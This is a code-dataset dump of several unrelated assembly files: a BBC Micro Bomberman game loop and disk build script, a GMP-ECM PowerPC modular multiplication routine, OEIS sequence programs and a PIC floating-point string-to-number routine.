PHP
PHA
TXA
PHA
TYA
PHA
INC framecounter
INC frames
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
LDA inmenu:BNE menu
;LDA #PAL_DBG:JSR setpal
JSR drawbomberman ; clear bomberman in old pos
; Cache
LDA BOMBMAN_X:STA BOMBMAN_X+1
LDA BOMBMAN_Y:STA BOMBMAN_Y+1
LDA BOMBMAN_U:STA BOMBMAN_U+1
LDA BOMBMAN_V:STA BOMBMAN_V+1
LDA BOMBMAN_FRAME:STA BOMBMAN_FRAME+1
LDA BOMBMAN_FLIP:STA BOMBMAN_FLIP+1
JSR drawbomberman ; draw bomberman in new pos
;LDA #PAL_GAME:JSR setpal
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.menu
JSR read_input
JSR sound_eventvhandler
; Restore registers
PLA
TAY
PLA
TAX
PLA
PLP
RTS
}
.playgame
{
; Initialise bombs
LDX #MAX_BOMB-1
LDA #NO
.clearbombs
STA BOMB_ACTIVE, X
DEX
BPL clearbombs
STA BONUS_REMOTE
; Initialise scores
LDX #&00
.scoreinit
STA topscore, X
STA score, X
INX
CPX #&07
BNE scoreinit
LDA #&01:STA stage
JSR drawstagescreen
; Play stage screen melody
LDA #&02:STA sound_music
; Wait for tune to finish
JSR sound_waittune
; Generate level map
JSR buildmap
; Set time limit
LDA #SECONDSPERLEVEL:STA timeleft
; Set remaining lives
LDA #LIVESPERLEVEL-1:STA lifeleft
; Clear the screen
JSR cls
; Start playing music
LDA #&03:STA sound_music
; Draw TIME/SCORE/LIVES
JSR showstatus
JSR drawtime
LDA #&00:STA frames
; Draw level
LDX #&00:LDY #&00
LDA #0:STA sprx
LDA #1:STA spry
LDA #levelmap MOD 256:STA stagemapptr
LDA #levelmap DIV 256:STA stagemapptr+1
.loop
LDA (stagemapptr), Y:CLC:ADC #24:STA sprite
INC stagemapptr
JSR drawbigtile
INC sprx
INX
CPX #MAP_WIDTH
BNE loop
DEC stagemapptr
; Move down a row
INC spry
LDX #0:STX sprx
INY
CPY #MAP_HEIGHT
BNE loop
; Draw bomberman
JSR init_bomberman
JSR drawbomberman
LDA #NO:STA inmenu
}
.gameloop
{
; Check if game is paused
JSR paused
; TODO JSR SPRD
JSR process_inputs ; Check button presses
JSR waitvsync
JSR bombtick ; bomb timer operations
; TODO THINK
JSR bombanim ; animate bombs
JSR stagetimer ; tick game stage timer
; check for keypress
LDA #INKEY_ESCAPE:JSR scankey ; Scan for ESCAPE
BEQ gameloop
; acknowledge ESC
LDA #&7E:JSR OSBYTE
; Stop sprites being drawn (by vsync)
LDA #YES:STA inmenu
JSR drawgameoverscreen
LDA #&09:STA sound_music
; wait for RETURN before clearing resume code
.endwait
LDA #INKEY_RETURN:JSR scankey ; Scan for RETURN
BEQ endwait
; Stop end music playing (if it still is)
LDA #NO:STA sound_music
; TODO
JMP gamestart
}
.paused
{
LDA #INKEY_RETURN:JSR scankey ; Scan for RETURN
BEQ not_paused
LDA #YES:STA sound_disable
LDA #INKEY_RETURN:JSR unpressed ; Wait until it's not pressed
.wait_start
LDA #INKEY_RETURN:JSR scankey ; Scan for RETURN
BEQ wait_start
LDA #INKEY_RETURN:JSR unpressed ; Wait until it's not pressed
LDA #NO:STA sound_disable
; Reset frame counter
LDA #&00:STA frames
.not_paused
RTS
}
.process_inputs
{
LDX keys
BEQ done
.case_right
TXA:AND #PAD_RIGHT
BEQ case_left
JSR move_right
.case_left
TXA:AND #PAD_LEFT
BEQ case_up
JSR move_left
.case_up
TXA:AND #PAD_UP
BEQ case_down
JSR move_up
.case_down
TXA:AND #PAD_DOWN
BEQ case_action
JSR move_down
.case_action
TXA:AND #PAD_A
BNE drop_bomb
; Check we have detonator
LDA BONUS_REMOTE
BEQ done
TXA:AND #PAD_B
BEQ done
JSR detonate
.done
RTS
}
.drop_bomb
{
; See if map is empty here
LDY BOMBMAN_Y:LDA multtaby, Y:STA stagemapptr
LDA #levelmap DIV 256:STA stagemapptr+1
LDY BOMBMAN_X:JSR checkmap:BNE done
; Centre bomberman
JSR adjust_bombman_hpos
JSR adjust_bombman_vpos
; Find non-active bomb slot
LDX BONUS_BOMBS
.loop
LDA BOMB_ACTIVE, X
BEQ place_bomb
DEX
BPL loop
.done
RTS
}
.place_bomb
{
; Place bomb onto map
LDA #MAP_BOMB:STA (stagemapptr), Y
; Record where we placed it
LDA BOMBMAN_X:STA BOMB_X, X
LDA BOMBMAN_Y:STA BOMB_Y, X
; Start bomb timer
LDA #&00:STA BOMB_TIME_ELAPSED, X
LDA #160:STA BOMB_TIME_LEFT, X
; Mark bomb slot as active
LDA #YES:STA BOMB_ACTIVE, X
; TODO - play sound effect 3
; Draw bomb
LDA BOMB_X, X:STA sprx
LDA BOMB_Y, X:STA spry:INC spry
LDA #33:STA BOMB_FRAME, X:STA sprite
JSR drawbigtile
RTS
}
.move_down
{
; Disable horizontal flip
LDA #NO:STA BOMBMAN_FLIP
; Are we on the edge of this cell
LDA BOMBMAN_V
CMP #&08
BCS nextcell
INC BOMBMAN_V
JMP done
.nextcell
; Check if we can move to the next cell
LDY BOMBMAN_Y:INY:LDA multtaby, Y:STA stagemapptr
LDA #levelmap DIV 256:STA stagemapptr+1
LDY BOMBMAN_X:JSR checkmap:BNE done
JSR adjust_bombman_hpos
INC BOMBMAN_V
LDA BOMBMAN_V
CMP #&10
BNE done
; Move down to start of next cell
LDA #&00
STA BOMBMAN_V
INC BOMBMAN_Y
.done
; Set animation frame (4..7)
LDA #&04:LDY #&07:JSR setframe
RTS
}
.move_up
{
; Disable horizontal flip
LDA #NO:STA BOMBMAN_FLIP
; Are we on the edge of this cell
LDA BOMBMAN_V
CMP #&09
BCC nextcell
DEC BOMBMAN_V
JMP done
.nextcell
; Check if we can move to the next cell
LDY BOMBMAN_Y:DEY:LDA multtaby, Y:STA stagemapptr
LDA #levelmap DIV 256:STA stagemapptr+1
LDY BOMBMAN_X:JSR checkmap:BNE done
JSR adjust_bombman_hpos
DEC BOMBMAN_V
BPL done
; Move down to start of next cell
LDA #&0F
STA BOMBMAN_V
DEC BOMBMAN_Y
.done
; Set animation frame (8..11)
LDA #&08:LDY #&0B:JSR setframe
RTS
}
.move_left
{
; Disable horizontal flip
LDA #NO:STA BOMBMAN_FLIP
; Are we on the edge of this cell
LDA BOMBMAN_U
CMP #&09
BCC nextcell
DEC BOMBMAN_U
JMP done
.nextcell
; Check if we can move to the next cell
LDY BOMBMAN_Y:LDA multtaby, Y:STA stagemapptr
LDA #levelmap DIV 256:STA stagemapptr+1
LDY BOMBMAN_X:DEY:JSR checkmap:BNE done
JSR adjust_bombman_vpos
DEC BOMBMAN_U
BPL done
; Move to start of next cell
LDA #&0F
STA BOMBMAN_U
DEC BOMBMAN_X
.done
; Set animation frame (0..3)
LDA #&00:LDY #&03:JSR setframe
RTS
}
.move_right
{
; Flip sprite horizontally
LDA #YES:STA BOMBMAN_FLIP
; Are we on the edge of this cell
LDA BOMBMAN_U
CMP #&08
BCS nextcell
INC BOMBMAN_U
JMP done
.nextcell
; Check if we can move to the next cell
LDY BOMBMAN_Y:LDA multtaby, Y:STA stagemapptr
LDA #levelmap DIV 256:STA stagemapptr+1
LDY BOMBMAN_X:INY:JSR checkmap:BNE done
JSR adjust_bombman_vpos
INC BOMBMAN_U
LDA BOMBMAN_U
CMP #&10
BNE done
; Move to start of next cell
LDA #&00
STA BOMBMAN_U
INC BOMBMAN_X
.done
; Set animation frame (0..3)
LDA #&00:LDY #&03:JSR setframe
RTS
}
.adjust_bombman_hpos
{
LDA BOMBMAN_U
CMP #&08
BCC adjust_right ; < 8
BEQ done ; = 8
DEC BOMBMAN_U
.done
RTS
.adjust_right
INC BOMBMAN_U
RTS
}
.adjust_bombman_vpos
{
LDA BOMBMAN_V
CMP #&08
BCC adjust_down ; < 8
BEQ done ; = 8
DEC BOMBMAN_V
.done
RTS
.adjust_down
INC BOMBMAN_V
RTS
}
.setframe
{
; Is this the same set of animation frames?
CMP BOMBMAN_FRAMESTART
BEQ same
; Update the new animation frame set
STA BOMBMAN_FRAME
STA BOMBMAN_FRAMESTART
.same
; Limit animation updates to every 4th frame
PHA:LDA framecounter:AND #&03:CMP #&02:BEQ anim:PLA:RTS
.anim
PLA
; Move on to the next frame of this set
INC BOMBMAN_FRAME
; Is this frame now out of range?
CPY BOMBMAN_FRAME
BCS done
; Reset to first frame of set
STA BOMBMAN_FRAME
.done
RTS
}
.detonate
{
RTS
}
.checkmap
{
LDA (stagemapptr), Y
BEQ done ; empty
CMP #MAP_EXIT:BEQ done ; exit
CMP #MAP_BONUS:BEQ done ; bonus
CMP #MAP_BRICK:BEQ has_noclip ; brick
CMP #MAP_HIDDEN_EXIT:BEQ has_noclip ; hidden exit
CMP #MAP_HIDDEN_BONUS:BEQ has_noclip ; hidden bonus
CMP #MAP_BOMB:BEQ has_bombwalk ; bomb
.done
RTS
}
.has_noclip
{
LDA BONUS_NOCLIP
EOR #&01
RTS
}
.has_bombwalk
{
LDA BONUS_BOMBWALK
EOR #&01
RTS
}
.drawbomberman
{
LDA BOMBMAN_X+1:STA sprx:DEC sprx
LDA BOMBMAN_Y+1:STA spry
LDA BOMBMAN_U+1:CLC:ADC #&08:STA spru
LDA BOMBMAN_V+1:CLC:ADC #&08:STA sprv
LDX BOMBMAN_FRAME+1:LDA BOMBER_ANIM, X:STA sprite
LDA BOMBMAN_FLIP+1:STA sprflip
JSR drawsprite
; Reset sprite properties
LDA #&00:STA spru:STA sprv:STA sprflip
}
.bombtick
{
LDX #MAX_BOMB-1
.loop
; Skip this bomb if it's not active
LDA BOMB_ACTIVE, X
BEQ nextbomb
; See what's on the map where this bomb is
LDY BOMB_Y, X
LDA multtaby, Y:STA stagemapptr
LDA #levelmap DIV 256:STA stagemapptr+1
LDY BOMB_X, X
LDA (stagemapptr), Y
; Check if it's a bomb
CMP #MAP_BOMB
BNE bombend
; Advance animation frame
INC BOMB_TIME_ELAPSED, X
; Check for remote detonator (don't tick)
LDA BONUS_REMOTE
BNE nextbomb
; Reduce bomb fuse time remaining, then skip if time hasn't run out
LDA framecounter:AND #&01:BNE nextbomb
DEC BOMB_TIME_LEFT, X
BNE nextbomb
; LDA #0
.bombend
; AND #7
; JSR sub_C9B6
; LDA byte_A5
; CMP #$FF
; BEQ explode
; INC byte_A5
.explode
JSR sound_explosion
; Remove from map
LDA #MAP_EMPTY:STA (stagemapptr), Y
; Set as inactive
STA BOMB_ACTIVE, X
; Clear bomb sprite
LDA BOMB_X, X:STA sprx
LDA BOMB_Y, X:STA spry:INC spry
LDA BOMB_FRAME, X:STA sprite
JSR drawbigtile
.nextbomb
DEX
BPL loop
RTS
}
; Animate frame for each active bomb
.bombanim
{
LDX #MAX_BOMB-1
.loop
; Skip this bomb if it's not active
LDA BOMB_ACTIVE, X
BEQ nextbomb
; Skip this bomb if elapsed%16 not 0
LDA BOMB_TIME_ELAPSED, X
AND #&0F
BNE nextbomb
; Cache X, Y position for this bomb
LDA BOMB_X, X:STA sprx
LDA BOMB_Y, X:STA spry:INC spry
; Concentrate on bits 0111 0000
LDA BOMB_TIME_ELAPSED, X
LSR A:LSR A:LSR A:LSR A
AND #&03
TAY
; Select bomb frame from lookup
LDA BOMB_FRAME, X:STA sprite:JSR drawbigtile
LDA bombframes, Y:STA BOMB_FRAME, X:STA sprite:JSR drawbigtile
.nextbomb
DEX
BPL loop
RTS
.bombframes
EQUB 33, 34, 33, 32
}
; Reduce time left by a second
.stagetimer
{
LDA frames
CMP #FPS
BCC done
; Reset frame counter for this second
LDA #&00:STA frames
; Here temporarily
JSR drawtime
; LDA #FPS:STA delayframes:JSR delay
LDA timeleft
CMP #255
BEQ done
DEC timeleft
BNE done
; TODO remove all monsters
; TODO add a bunch of small monsters
; TODO respawn bonus
.done
RTS
}
.drawtime
{
; Set text coordinates
LDX #&05:LDY #&00:JSR positiontextcursor
LDA timeleft
CMP #255
BNE someleft
LDA #0
.someleft
LDY #'0'
SEC
.l1
SBC #100
BCC l2
INY
BNE l1
.l2
ADC #&64
CPY #'0'
BNE l3
LDY #':'
STY sprite:JSR writetile
JMP putnumber
.l3
STY sprite:JSR writetile
LDY #'0'
SEC
.l4
SBC #10
BCC l5
INY
BNE l4
.l5
ADC #':'
STY sprite:JSR writetile
STA sprite:JSR writetile
RTS
}
.showstatus
{
; Set text coordinates
LDX #&00:LDY #&00:JSR positiontextcursor
; Write "TIME"
LDX #&03
.nextchar
LDA timestring, X
STA sprite:JSR writetile
DEX
BPL nextchar
; Advance text coordinates
LDA #&C0
CLC:ADC sprdst:STA sprdst
LDA #&01
CLC:ADC sprdst+1:STA sprdst+1
; Write trailing zeroes of score
LDA #'0':STA sprite:JSR writetile:JSR writetile
; Advance text coordinates
LDA #&40
CLC:ADC sprdst:STA sprdst
LDA #&00
CLC:ADC sprdst+1:STA sprdst+1
; Write "LEFT"
LDX #&03
.nextchar2
LDA lifestring, X
STA sprite:JSR writetile
DEX
BPL nextchar2
; Print lives remaining
LDA lifeleft:JSR putnumber
RTS
.timestring
EQUS "EMIT"
.lifestring
EQUS "TFEL"
}
.buildmap
{
JSR addconcreteblocks
; Place exit (under brick) randomly on map
JSR randomcoords
LDA #MAP_HIDDEN_EXIT:STA (stagemapptr), Y
; Place bonus (under brick) randomly on map
JSR randomcoords
LDA #MAP_HIDDEN_BONUS:STA (stagemapptr), Y
; Place (stage + 25) bricks randomly
LDA stage:CLC:ADC #25
STA tempz
.nextbrick
; Place brick on map
JSR randomcoords
LDA #MAP_BRICK:STA (stagemapptr), Y
DEC tempz
BNE nextbrick
RTS
}
.addconcreteblocks
{
LDA #levelmap DIV 256:STA stagemapptr+1
LDA #0:STA stagemapptr
TAY
LDX #&00:JSR stagerow ; Top wall
LDX #MAP_WIDTH:JSR stagerow ; Blank row
LDX #MAP_WIDTH*2:JSR stagerow ; Alternate concrete
LDX #MAP_WIDTH:JSR stagerow ; ...
LDX #MAP_WIDTH*2:JSR stagerow
LDX #MAP_WIDTH:JSR stagerow
LDX #MAP_WIDTH*2:JSR stagerow
LDX #MAP_WIDTH:JSR stagerow
LDX #MAP_WIDTH*2:JSR stagerow
LDX #MAP_WIDTH:JSR stagerow
LDX #MAP_WIDTH*2:JSR stagerow
LDX #MAP_WIDTH:JSR stagerow
LDX #&00 ; Bottom wall
.stagerow
LDA #MAP_WIDTH:STA tempx
.stagecell
LDA stagerows, X
STA (stagemapptr), Y
INC stagemapptr
INX
DEC tempx
BNE stagecell
RTS
.stagerows
EQUB 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
EQUB 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1
EQUB 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1
}
; Find an empty position on the 15x13 map
.randomcoords
{
.loopx
JSR rand
ROR A:ROR A:ROR A ; A = A/8
AND #&0F ; 0 to 15
BEQ loopx
CMP #MAP_WIDTH ; if A >= 15, try again
BCS loopx
STA tempx
.loopy
JSR rand
ROR A:ROR A:ROR A ; A = A/8
AND #&0F ; 0 to 15
BEQ loopy
CMP #MAP_HEIGHT ; if A >= 13, try again
BCS loopy
STA tempy
TAY
LDA multtaby, Y:STA stagemapptr
LDA #levelmap DIV 256:STA stagemapptr+1
LDY tempx
LDA (stagemapptr), Y ; Check what's on the map already
BNE randomcoords ; If not blank, retry
; Make sure nothing is put too close to bomberman
CPY #&03
BCS done
LDA tempy
CMP #&03
BCC randomcoords
.done
RTS
}
; Level data lookup tables
.multtaby
EQUB 0,MAP_WIDTH,MAP_WIDTH*2,MAP_WIDTH*3,MAP_WIDTH*4,MAP_WIDTH*5,MAP_WIDTH*6,MAP_WIDTH*7,MAP_WIDTH*8,MAP_WIDTH*9,MAP_WIDTH*10,MAP_WIDTH*11,MAP_WIDTH*12
; Delay specified number of frames
.delay
{
LDA #&13:JSR OSBYTE ; Wait for vsync
DEC delayframes
BNE delay
RTS
}
; Stage 2
.melody_04_c1
;INCBIN "melodies/M04C1.bin"
.melody_04_c2
;INCBIN "melodies/M04C2.bin"
.melody_04_c3
;INCBIN "melodies/M04C3.bin"
; God mode
.melody_05_c1
;INCBIN "melodies/M05C1.bin"
.melody_05_c2
;INCBIN "melodies/M05C2.bin"
.melody_05_c3
;INCBIN "melodies/M05C3.bin"
; Bonus
.melody_06_c1
;INCBIN "melodies/M06C1.bin"
.melody_06_c2
;INCBIN "melodies/M06C2.bin"
.melody_06_c3
;INCBIN "melodies/M06C3.bin"
; Fanfare
.melody_07_c1
;INCBIN "melodies/M07C1.bin"
.melody_07_c2
;INCBIN "melodies/M07C2.bin"
.melody_07_c3
;INCBIN "melodies/M07C3.bin"
; Died
.melody_08_c1
INCBIN "melodies/M08C1.bin"
.melody_08_c2
INCBIN "melodies/M08C2.bin"
; Final
.melody_10_c3
;INCBIN "melodies/M10C3.bin"
.usedmemory
ORG MAIN_LOAD_ADDR+MAX_OBJ_SIZE-(MAIN_LOAD_ADDR-MAIN_RELOC_ADDR)
.downloader
INCBIN "DOWNLOADER"
.codeend
ORG &0900
GUARD &0D00
.extradata
; Title
.melody_01_c1
INCBIN "melodies/M01C1.bin"
.melody_01_c2
INCBIN "melodies/M01C2.bin"
.melody_01_c3
INCBIN "melodies/M01C3.bin"
; Stage screen
.melody_02_c1
INCBIN "melodies/M02C1.bin"
.melody_02_c2
INCBIN "melodies/M02C2.bin"
.melody_02_c3
INCBIN "melodies/M02C3.bin"
; Stage
.melody_03_c3
INCBIN "melodies/M03C3.bin"
; Game over
.melody_09_c1
INCBIN "melodies/M09C1.bin"
.melody_09_c2
INCBIN "melodies/M09C2.bin"
.melody_09_c3
INCBIN "melodies/M09C3.bin"
INCLUDE "extra.asm"
.extraend
ORG &00
CLEAR &00, &FF
.plingboot
EQUS "*BASIC", &0D ; Reset to BASIC
EQUS "PAGE=&1900", &0D ; Set PAGE
EQUS "*FX21", &0D ; Flush buffer
EQUS "CLOSE#0:CH.", '"', "LOADER", '"', &0D ; Close "!BOOT" and run the main code
EQUS "REM BBM build ", TIME$ ; Add a build date
.plingend
SAVE "!BOOT", plingboot, plingend
PUTBASIC "loader.bas", "$.LOADER"
PUTFILE "loadscr", "$.LOADSCR", MODE2BASE
SAVE "EXTRA", extradata, extraend
SAVE "BBM", start, codeend, DOWNLOADER_ADDR, MAIN_LOAD_ADDR
PRINT "-------------------------------------------"
PRINT "Zero page from &00 to ", ~zpend-1, " (", ZP_ECONET_WORKSPACE-zpend, " bytes left )"
PRINT "VARS from &400 to ", ~end_of_vars-1, " (", SOUND_WORKSPACE-end_of_vars, " bytes left )"
PRINT "TUNES/EXTRA from ", ~extradata, " to ", ~extraend-1, " (", NMI_WORKSPACE-extraend, " bytes left )"
PRINT "SPRITES/TILES from ", ~datastart, " to ", ~dataend-1
PRINT "CODE from ", ~codestart, " to ", ~codeend-1, " (", codeend-codestart, " bytes )"
PRINT ""
remaining = MODE8BASE-usedmemory
PRINT "Bytes left : ", ~remaining, " (", remaining, " bytes )"
PRINT "-------------------------------------------"
| 16.38061
| 153
| 0.69509
|
d649424b8660eb414e3f17c330b61af580b74ff1
| 2,083
|
asm
|
Assembly
|
picoctf/EasyRsa/gmp-ecm/powerpc64/mulredc1.asm
|
beninato8/ctfs
|
b28c7b1e5f15a74fd62774da2b93aac225e38f57
|
[
"MIT"
] | null | null | null |
picoctf/EasyRsa/gmp-ecm/powerpc64/mulredc1.asm
|
beninato8/ctfs
|
b28c7b1e5f15a74fd62774da2b93aac225e38f57
|
[
"MIT"
] | null | null | null |
picoctf/EasyRsa/gmp-ecm/powerpc64/mulredc1.asm
|
beninato8/ctfs
|
b28c7b1e5f15a74fd62774da2b93aac225e38f57
|
[
"MIT"
] | null | null | null |
dnl ******************************************************************************
dnl Copyright 2009 Paul Zimmermann and Alexander Kruppa.
dnl
dnl This file is part of the ECM Library.
dnl
dnl The ECM Library is free software; you can redistribute it and/or modify
dnl it under the terms of the GNU Lesser General Public License as published by
dnl the Free Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl The ECM Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
dnl License for more details.
dnl
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the ECM Library; see the file COPYING.LIB. If not, write to
dnl the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
dnl MA 02110-1301, USA.
dnl ******************************************************************************
define(C, `
dnl')
C mp_limb_t mulredc1(mp_limb_t * z, const mp_limb_t x, const mp_limb_t y,
C const mp_limb_t m, mp_limb_t inv_m);
C
C arguments:
C r3 : ptr to result z
C r4 : input x
C r5 : input y
C r6 : modulus m'
C r7 = -1/m mod 2^64
C
C final carry returned in r3
include(`config.m4')
GLOBL GSYM_PREFIX`'mulredc1
GLOBL .GSYM_PREFIX`'mulredc1
.section ".opd", "aw"
.align 3
GSYM_PREFIX`'mulredc1:
.quad .GSYM_PREFIX`'mulredc1, .TOC.@tocbase, 0
.size GSYM_PREFIX`'mulredc1, 24
TEXT
.align 5 C powerPC 32 byte alignment
.GSYM_PREFIX`'mulredc1:
mulld r8, r4, r5 C x*y low half T0
mulhdu r9, r4, r5 C x*y high half T1
mulld r0, r7, r8 C u = t0 * invm
mulld r10, r0, r6 C u*m low
mulhdu r11, r0, r6 C u*m high
addc r8, r8, r10 C x*y + u*m low (= zero)
adde r9, r9, r11 C result
std r9, 0(r3) C store in z
addze r3, r8 C return carry
blr
.size .GSYM_PREFIX`'mulredc1, .-.GSYM_PREFIX`'mulredc1
| 31.560606
| 82
| 0.645703
|
182d262b3b664f325200416abcf84de55ebd476d
| 540
|
asm
|
Assembly
|
oeis/087/A087654.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/087/A087654.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/087/A087654.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A087654: Decimal expansion of D(1) where D(x) is the Dawson function.
; Submitted by Christian Krause
; 5,3,8,0,7,9,5,0,6,9,1,2,7,6,8,4,1,9,1,3,6,3,8,7,4,2,0,4,0,7,5,5,6,7,5,4,7,9,1,9,7,5,0,0,1,7,5,3,9,3,3,3,1,8,8,7,5,2,1,9,0,9,8,0,0,2,5,6,6,5,0,3,3,3,0,5,2,7,1,0,6,2,9,7,2,6,0,8,6,1,5,0,2,7,4,3,0,8,0,9
add $0,1
mov $2,2
mov $3,$0
mul $3,4
lpb $3
mul $1,$3
add $1,$2
mul $2,2
cmp $6,0
add $5,$6
div $1,$5
div $2,$5
add $2,$1
mul $1,2
sub $3,1
lpe
mul $2,2
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
| 19.285714
| 201
| 0.542593
|
5a964c88cc7a088b9ba35f472fc028662d6a9674
| 4,079
|
asm
|
Assembly
|
atof.asm
|
magore/picfloat
|
7e3e4d1aa5c5258032da6a3b16ff37772844dfb0
|
[
"Unlicense"
] | 1
|
2021-07-06T10:41:31.000Z
|
2021-07-06T10:41:31.000Z
|
atof.asm
|
magore/picfloat
|
7e3e4d1aa5c5258032da6a3b16ff37772844dfb0
|
[
"Unlicense"
] | null | null | null |
atof.asm
|
magore/picfloat
|
7e3e4d1aa5c5258032da6a3b16ff37772844dfb0
|
[
"Unlicense"
] | null | null | null |
;File: atof.asm
;================================================================
; PIC Floating point library
;================================================================
; Copyright (C) 1991,1997,1998,1999,2000,2001,2002,2003 Mike Gore
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; * Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
; * Neither the name of the <ORGANIZATION> nor the names of its contributors
; may be used to endorse or promote products derived from this software
; without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE
;
; Contact Information
; Mike Gore
; Infowrite Consulting
; 405 Midwood Cres.
; Waterloo Ont
; N2L 5N4
; Phone: 519-884-4943 home
; Fax: 519-885-0548 fax
; Email: magore@sympatico.ca - or - magore@uwaterloo.ca
;================================================================
;================================================================
; ***** Please Use TABS = 4 when viewing this file ****
;================================================================
;================================================================
_ATOF: ; Convert ASCII to floating point, Store result on FPac
FPac_CLR
CLR8 _atof_pow10
CLR8 _atof_radix
SKIP_SPACES
GET_SIGN
_atof_loop_main
GETC
JMP_BSET _atof_radix,0,_atof_digit ; Have already seen decimal point
CMP8I _GETC_CHAR,'.' ; Decimal point ?
JMP_NZ _atof_digit ; No
BSET _atof_radix,0 ; Yes
JMP _atof_loop_main ; Get another character
;
_atof_digit
TEST_DIG
JMP_C _atof_numx
; FPac *= 10
FPac_MUL10
; Fpac += _GETC_CHAR
FPac_SWAP
AC32_CLR ; Convert _GETC_CHAR to float
MOV8 AC32_LSB,_GETC_CHAR
ITOF32
FPac_SWAP ; FParg = (float) _GETC_CHAR
FP_ADD ; FPac += (float) _GETC_CHAR
JMP_BCLR _atof_radix,0,_atof_loop_main
DEC8 _atof_pow10 ; Scale the exponent for digits left of decimal point
JMP _atof_loop_main
;
_atof_numx
MOV8 FPac_SIGN,_atoi_sign ; Restore sign
TRac_STORE FPtmp ; Save Floating point number and sign
; Parse Exponent
CMP8I _GETC_CHAR,'E'
JMP_Z _atof_have_exp
CMP8I _GETC_CHAR,'e'
JMP_Z _atof_have_exp
UNGETC _GETC_CHAR ; Put character back
JMP _atof_scale ; No exponent
_atof_have_exp
ATOI
; TODO Check overflow
ADD8 _atof_pow10,AC32_LSB
;
; Compute exponent base 10 to scale the fp number by
; Notes:
; If the exponent is >= 0 then we just keep multiplying the
; fp number by 10 exponent count times (using fast multiply).
; - otherwise -
; keep dividing by 10 exponent count times ( using fast divide)
;
; _atof_pow10 has total powers of TEN
;
_atof_scale
TRac_LOAD FPtmp ; Restore Floating point number
TST8 _atof_pow10
JMP_Z _atof_exit
JMP_BCLR _atof_pow10,7,_atof_exp_mul10 ; >= 0 ?
_atof_exp_div10
FPac_DIV10 ; FPac /= 10
INC8 _atof_pow10
JMP_NZ _atof_exp_div10
ENDSUB
_atof_exp_mul10
FPac_MUL10 ; FPac *= 10
DEC8 _atof_pow10
JMP_NZ _atof_exp_mul10
_atof_exit
ENDSUB
| 33.434426
| 78
| 0.690365
|
3add0558b4a4d8d630958c87ee062f50a5cf4ae0
| 725
|
asm
|
Assembly
|
programs/oeis/167/A167340.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/167/A167340.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/167/A167340.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A167340: Totally multiplicative sequence with a(p) = p*(p+2) = p^2+2p for prime p.
; 1,8,15,64,35,120,63,512,225,280,143,960,195,504,525,4096,323,1800,399,2240,945,1144,575,7680,1225,1560,3375,4032,899,4200,1023,32768,2145,2584,2205,14400,1443,3192,2925,17920,1763,7560,1935,9152,7875,4600,2303,61440,3969,9800,4845,12480,2915,27000,5005,32256,5985,7192,3599,33600,3843,8184,14175,262144,6825,17160,4623,20672,8625,17640,5183,115200,5475,11544,18375,25536,9009,23400,6399,143360,50625,14104,7055,60480,11305,15480,13485,73216,8099,63000,12285,36800,15345,18424,13965,491520,9603,31752,32175,78400
mov $1,$0
seq $1,166590 ; Totally multiplicative sequence with a(p) = p+2 for prime p.
mul $0,$1
add $0,1
add $0,$1
sub $0,1
| 72.5
| 513
| 0.76
|
1ceca89db60a760149dd49e3f4ccc83d4eefcf04
| 330
|
asm
|
Assembly
|
programs/oeis/151/A151783.asm
|
neoneye/loda
|
